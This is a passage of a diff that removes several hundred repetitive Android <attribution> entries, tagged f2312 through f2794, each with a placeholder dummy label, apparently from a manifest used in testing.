-  <attribution android:tag="f2312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2345" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2624" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2625" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2626" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2627" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2628" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2629" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2630" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2631" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2632" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2633" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2634" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2635" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2636" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2637" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2638" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2639" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2640" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2641" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2642" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2643" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2644" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2645" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2646" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2647" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2648" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2649" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2650" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2651" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2652" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2653" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2654" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2655" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2656" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2657" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2658" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2659" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2660" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2661" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2662" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2663" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2664" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2665" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2666" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2667" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2668" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2669" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2670" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2671" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2672" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2673" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2674" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2675" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2676" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2677" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2678" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2679" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2680" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2681" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2682" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2683" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2684" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2685" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2686" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2687" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2688" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2689" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2690" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2691" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2692" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2693" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2694" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2695" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2696" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2697" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2698" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2699" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2700" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2701" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2702" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2703" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2704" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2705" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2706" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2707" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2708" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2709" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2710" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2711" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2712" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2713" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2714" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2715" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2716" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2717" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2718" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2719" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2720" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2721" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2722" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2723" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2724" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2725" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2726" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2727" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2728" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2729" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2730" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2731" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2732" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2733" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2734" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2735" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2736" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2737" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2738" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2739" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2740" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2741" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2742" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2743" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2744" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2745" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2746" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2747" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2748" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2749" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2750" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2751" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2752" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2753" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2754" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2755" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2756" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2757" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2758" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2759" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2760" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2761" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2762" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2763" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2764" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2765" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2766" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2767" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2768" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2769" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2770" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2771" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2772" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2773" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2774" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2775" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2776" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2777" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2778" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2779" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2780" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2781" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2782" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2783" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2784" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2785" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2786" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2787" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2788" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2789" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2790" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2791" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2792" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2793" android:label="@string/dummyLabel" />
-  <attribution android:tag="f2794" android:label="@string/dummyLabel" />
